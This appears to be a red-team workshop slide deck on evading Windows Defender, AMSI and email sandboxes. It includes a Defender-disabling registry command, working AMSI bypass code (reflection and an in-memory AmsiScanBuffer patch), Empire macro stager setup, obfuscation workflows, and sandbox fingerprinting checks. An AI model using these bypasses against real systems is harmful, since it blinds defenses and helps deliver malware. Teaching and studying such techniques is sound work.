  • 18. callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG Validate stack integrity (StackPivot) - ensures that the stack has not been redirected for sensitive APIs. Not compatible with ACG 17
  • 19. AMSI Events When AMSI conducts a scan it passes one of 5 results back: ◦ AMSI_RESULT_CLEAN = 0 ◦ AMSI_RESULT_NOT_DETECTED = 1 ◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384 ◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479 ◦ AMSI_RESULT_DETECTED = 32768 18 AMSI passes a numerical value onto Windows Defender which then uses it to determine what action to take. A value of 0 indicates a clean result which means there is no possibility of the scanned component being malicious now or in the future. 1 means that currently the scanned result is not deemed malacious but that status could change in the future (this what is almost always returned under normal circumstances). The blocked by admin returns indicate that some kind of GPO blocked execution of the powershell. AMSI actually assigns risk values as it scans and these values are compiled. A total value of 32767 or less indicates that the program should proceed. A value of 32768 or higher indicates malware and that the process should halted. (The returned result will still be 32768 even if the evaluated result was higher) https://docs.microsoft.com/en-us/windows/desktop/api/amsi/ne-amsi-amsi_result 18
  • 21. Windows Defender Logs Get-WinEvent 'Microsoft-Windows-Windows Defender/Operational' -MaxEvents 10 | Where-Object Id - eq 1116 | Format-List 20 Command uses Get-WinEvent to pull events from the Defender logs. The MaxEvents just limits the output to most recent specified number of events otherwise the output could be hundreds of events long. The 1116 id number is the event id for when Defender has flagged malware. 20
  • 22. Malware Triggering Activity 21 Activity – We will distribute a few basic versions of malware embedded into the VMs. This will give everyone the opportunity to experiment and see what will/won’t get past Windows Defender and AMSI. 21
  • 24. Try Some Code Samples Look in the sample folder 23 Sample 1 is just a simple Write-Host command with AMSI flagged word Sample 2 is an AMSI Bypass Sample 3 is a default Empire launcher Sample 4 is a PS-Inject script that targets svchost 23
  • 26. Don't do Too Much at Once Getting working base code first ◦ Empire, Metasploit, Ect Customize Functions Get Working Obfuscated Code Then Test Against AV 25 25
  • 27. Disabling Windows Defender New-ItemProperty -Path "HKLM:Softwarepoliciesmicrosoftwindows defender" - name disableantispyware -value 0 –Force Restart computer/VM 26 26
  • 29. Empire Tutorial Preloaded into VM https://github.com/EmpireProjec t/Empire/tree/dev ◦ Install dev version (Do not use version 2.5) ◦ sudo ./setup/install.sh 28 28
  • 30. Empire Tutorial Splash page ◦Version running (We are using a modified dev version) ◦How many modules loaded ◦Active Listeners ◦Active Agents 29 29
  • 31. Empire Tutorial “Help” lists out all available commands ◦ Agents – Active payloads available ◦ Interact – Control a payload/host ◦ Preobfuscate – Obfuscates Powershell module (not needed) ◦ Set – Modify payload settings ◦ Usemodule – Select Empire Module ◦ Uselistener – Select Lisener ◦ Usestager – Select Empire stager (we will be using macros) 30 30
  • 32. Empire Tutorial Uselistener ◦Host – Where you want your payload to call back to ◦ Make sure you use your IP for this ◦Port – Port used for communication ◦ Default port is 80 (HTTP) 31 31
  • 33. Empire Tutorial Use edit to modify Listener info ◦“edit LISTENERNAME host YOURIPADDRESS” ◦“edit LISTENERNAME port PORTNUMBER” 32 32
  • 34. Empire Tutorial 33 Usestager ◦Tailor the stager to what the target is ◦Our focus is Windows using a Macro ◦“Windows/macro” 33
  • 35. Empire Tutorial Default Empire output (without obfuscation) ◦ This will get you caught 34 34
  • 36. Test your Empire Payload 35 35
  • 38. Advanced Techniques are Still Useful! They are still good for hiding from other malware scanners, sandboxes, and human analysis 37 37
  • 39. Randomized Capitalization Powershell ignores capitalization 38 AMSI also ignores capitalization so this isn't effective at avoiding it but the randomization does change the hash of the file so it's still best practice to implement it. 38
  • 40. Concatenation AMSI is still heavily dependent upon signatures, simple concatenation can circumvent most alerts 39 Concatination is the most used and simplest form of obfuscation against AMSI. Once a variable has been set the full value is almost never scanned again so the variable can be passed into other functions freely without issue. 39
  • 41. Variable Insertion Powershell recognizes $ as a special character in a string and will fetch the associated variable. ◦ This is usually used in conjunction with something like concatenation 40 40
  • 42. Format String Powershell allows for the use of {} inside a string to allow for variable insertion. This is an implicit reference to the format string function. 41 41
  • 43. XOR || ⊕ Uses: ◦ Pseudorandom number generation ◦ Error detection ◦ Encryption ◦ Linear separability 42 A B A XOR B 0 0 0 0 1 1 1 0 1 1 1 0 Commutative: A ⊕ B = B ⊕ A Associative: A ⊕ ( B ⊕ C ) = ( A ⊕ B ) ⊕ C Identity element: A ⊕ 0 = A Self-inverse: A ⊕ A = 0 42
  • 44. Obfuscate the Samples Using Samples 1-3 from the early exercise attempt to obfuscate them so that they will run Sample 3 can be difficult to figure out what is causing the issue 43 43
  • 46. Invoke-Obfuscation Install here ◦https://github.com/danielboha nnon/Invoke-Obfuscation ◦“Import-Module ./Invoke- Obfuscation.psd” ◦Run “Invoke-Obfuscation” 45 If script disabled by system: Run as admin then “set-executionpolicy remotesigned“ & “Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass“ 45
  • 47. Invoke-Obfuscation Type “Tutorial” for high level directions ◦Extremely helpful for learning/remembering the basics 46 46
  • 48. Invoke-Obfuscation Example code ◦ Use this for practicing ◦ SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAgACcA WQBvAHUAIABjAGEAbgAgAHUAcwBlACAA YgBhAHMAaQBjACAALQBlAG4AYwAgAEUA bgBjAG8AZABlAGQAQwBvAG0AbQBhAG4A ZAAgAHMAeQBuAHQAYQB4ACAAdwBpAHQA aABvAHUAdAAgAGEAbgB5ACAAbwB0AGgA ZQByACAAZQB4AGUAYwB1AHQAaQBvAG4A IABhAHIAZwB1AG0AZQBuAHQAcwAgAGEA cwAgAGkAbgBwAHUAdAAgAGYAbwByACAA UwBjAHIAaQBwAHQAQgBsAG8AYwBrACAA dgBhAGwAdQBlACAAaQBuACAASQBuAHYA bwBrAGUALQBPAGIAZgB1AHMAYwBhAHQA aQBvAG4ALgAnACAALQBmACAAZwByAGUA ZQBuAA 47 47
  • 49. Invoke-Obfuscation Token-layer Obfuscation ◦ TokenVariable (extremely useful for masking variable names to AMSI) ◦ TokenAll (if you are super lazy) ◦ Typically run whitespace last 48 48
  • 50. Invoke-Obfuscation Abstract Syntacx Tree (AST) ◦ Changes structure of AST ◦ AST contains all parsed content in Powershell code without having to dive into text parsing (we want to hide from this) 49 49
  • 51. Invoke-Obfuscation Encoding ◦ Used to further mask the payload by converting the format (e.g., Hex, Binary, AES, etc) ◦ Beware: running too much encoding will break the 8,191 character limit 50 50
  • 52. Invoke-Obfuscation String ◦Obfuscate Powershell code as a string ◦Breaks up the code with reversing techniques and concatenation 51 51
  • 53. Invoke-Obfuscation Compress ◦Can be used in conjunction with Encoding to reduce the overall size of the payload. 52 52
  • 55. Invoke-Obfuscation Order of operations ◦Mix it up to avoid detection ◦Example: ◦Token6421 ◦Whitespace1 ◦Encoding2 ◦Compress1 54 54
  • 57. Why do we need this? If our payload is already obfuscated enough to evade AMSI why bother? ◦ Only the first part of the stager is obfuscated! Obfuscation can be time consuming, adds complexity and increases the size of our payloads 56 56
  • 58. Why do we need this? AMSI bypasses let us load whatever future modules we may want without issues ◦ Mimkatz, PS-Inject*, Powerup, etc. 57 57
  • 59. Remember the AMSI returns ◦ AMSI_RESULT_CLEAN = 0 ◦ AMSI_RESULT_NOT_DETECTED = 1 ◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384 ◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479 ◦ AMSI_RESULT_DETECTED = 32768 58 58
  • 60. Reflective Bypass Simplest Bypass that currently works ◦ $Ref=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils'); ◦ $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE); Published by Matt Graeber in 2016 by tweet 59 Capitalization matters for passing field values 59
  • 61. What Does it Do? Using reflection we are exposing functions from AMSI We are setting the AmsiInitField to True which source code shows causes AMSI to return: ◦ AMSI_SCAN_RESULT_NOT_FOUND 60 Microsoft's explanation on reflection: https://docs.microsoft.com/en- us/dotnet/framework/reflection-and-codedom/reflection Image taken from: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi- and-logging-evasion/ That site also provides excellent detailed explanations on how these bypasses work 60
  • 62. Why does this work? AMSI is loaded into the Powershell process at start up so it has the same permission levels as the process the malware is in The designers of AMSI presumably decided that if there was an error occurring when AMSI starts up it's better to allow the system to continue operating rather than creating a ton of false flags that could make the computer useless 61 61
  • 63. Patching AMSI.dll in Memory 62 Code is also included below so it can be cut and pasted somewhere else This method works by using C# to expose the native API calls in Kernel32 to powershell. This allows us to obtain where in memory the AMSI Scan buffer is and patch in a command to return a good scan result prior to the function actually scanning our commands. While more complicated than the previous method it doesn't cause AMSI to fail instead preserving the appearance of the scan being completed fully. APTs have been observed utilizing this technique in the wild https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ This code was derived from Tal Liberman's Black Hat talk and taking some modifications from Rasta Mouse https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the- Undocumented-The-Rise-and-Fall-of-AMSI.pdf https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/ 62
  • 64. $MethodDefinition = @' [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] public static extern IntPtr GetProcAddress(IntPtr hModule,string procName); [DllImport("kernel32.dll", CharSet=CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); '@ $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ - Namespace ‘Win32’ -PassThru $ASBD = "AmsiS"+"canBuffer" $handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll") [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ASBD) [UInt32]$Size = 0x5 [UInt32]$ProtectFlag = 0x40 [UInt32]$OldProtectFlag = 0 [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag) $buf = new-object byte[] 6 $buf[0] = [UInt32]0xB8 $buf[1] = [UInt32]0x57 $buf[2] = [UInt32]0x00 $buf[3] = [Uint32]0x07 $buf[4] = [Uint32]0x80 $buf[5] = [Uint32]0xC3 [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6) 62
  • 65. Why does this work? AMSI.dll is loaded into the same memory space as Powershell. (Powershell is loading it after all) This means that we have unrestricted access to the memory space that AMSI runs in and can modify it however we please Tells the function to return a clean result prior to actually scanning 63 63
  • 66. Test time! Re-enable Defender run your Empire launcher 64 64
  • 68. What is a Sandbox? A software created environment that isolates and limits the rights and accesses of a process being executed An effective way of doing behavioral analysis for AV 66 66
  • 69. Who is using Sandboxes? 67 Sandboxes are being used all over. Companies from Crowdstrike to Mimecast to Google are now implementing them and they are becoming increasingly common in email filters 67
  • 70. Automated Sandbox Malware analysis As we talked about earlier, obfuscating code to break signatures can be relatively trivial ◦ AV would need an almost unlimited number of signatures Heavily obfuscated code can make it almost impossible for human analysis to be effective Instead evaluate behavior 68 Automated sign boxes are looking for heuristics. Is a word document trying to spawn powershell or a secondary process? Is memory space being manpiulated? Is the file trying to contact a known bad domain? Ect. 68
  • 72. Sandbox Limitations They use a lot of resources which can be expensive End users don't want to wait to receive their messages Email scanning requires thousands of attachments to evaluated constantly 70 70
  • 73. Sandbox Limitations These limitations provide us with several means to try and detect or evade them ◦ Password Protection ◦ Time Delays ◦ Check for limited resources(small amount of ram, single core, etc.) ◦ Look for virtualization processes(sandboxie, VMWare tools) 71 71
  • 75. When do we want to do this? Before we do suspicious things ◦ Like starting a new process ◦ Reaching out to the internet The checks could be suspicious themselves ◦ Sandbox Evasion is becoming more prevalent 73 Things like trying to reach out to the internet such as was done by WannaCry are now being used as indicators for potential malacious intent. Lot's of API calls can be suspicious as well. 73
  • 76. Password Protection The sandbox doesn't know the password and therefore can't open the file. No results are found so the file is passed on. The password is usually sent in the body of the email with instructions to use it. ◦ Lower success rate 74 74
  • 77. Time Delay Email filters have a limited amount of time to scan files so delay until it the scan is completed This is less practical in a macro as it will keep the document open until done waiting 75 https://stackoverflow.com/questions/1544526/how-to-pause-for-specific-amount-of- time-excel-vba 75
  • 78. Checking for Resources Using WMI Objects you can enumerate the hardware and system configurations Some malware looks for things like the presence of a fan ◦ Note: WMI objects are very inconsistently implemented by manufacturers. 76 https://attack.mitre.org/techniques/T1497/ 76
  • 79. Checking for Resources Some Useful WMI Objects ◦ Win32_ComputerSystem ◦ Win32_LogicalDisk ◦ Win32_Fan 77 https://attack.mitre.org/techniques/T1497/ The Powershel Commandlet Get-WmiObject is usefull for seeing all the available WMI objects and what fields are available in the classes Get-WmiObject –List will show allavailable WMI objects https://devblogs.microsoft.com/scripting/three-easy-ways-to-use-powershell-and- wql-to-get-wmi-data/ Provides a short guide on using WMI queries in powershell 77
  • 80. Checking for Processes Most if not all sandboxes result in the addition of management processes that we can look for ◦ Win32_Process contains all the processes currently running Some common processes to look for: ◦ Sbiesvc, SbieCtrl ◦ Vmtools ◦ VBoxService 78 https://attack.mitre.org/techniques/T1497/ The MITRE site lists a bunch of ways APTs have been known to detect VMs it's a good place to get ideas 78
  • 81. What happens to your Malware? Who is Roydan? Microsoft is spawning VMs to sandbox our malware ◦ We still get callbacks to our machine ◦ Fingerprint the OS to avoid Malware triggering 79 o Demo/Activity – We will demonstrate the sandbox environment that Microsoft is employing to scan emails (Microsoft Outlook) for malware. Students will have an opportunity to explore sandbox on their own. 79
  • 82. There is no one way guaranteed to work Because of the control many developers have on implementing WMI objects or naming processes there is no one check that is guaranteed to work. ◦ Learn as much as possible about the target environment ◦ Use multiple halting conditions ◦ Check places like attack.mitre.org to look for new techniques if old ones fail 80 80
  • 83. Put it all together YOUR TURN TO TRY IT ALL 81 81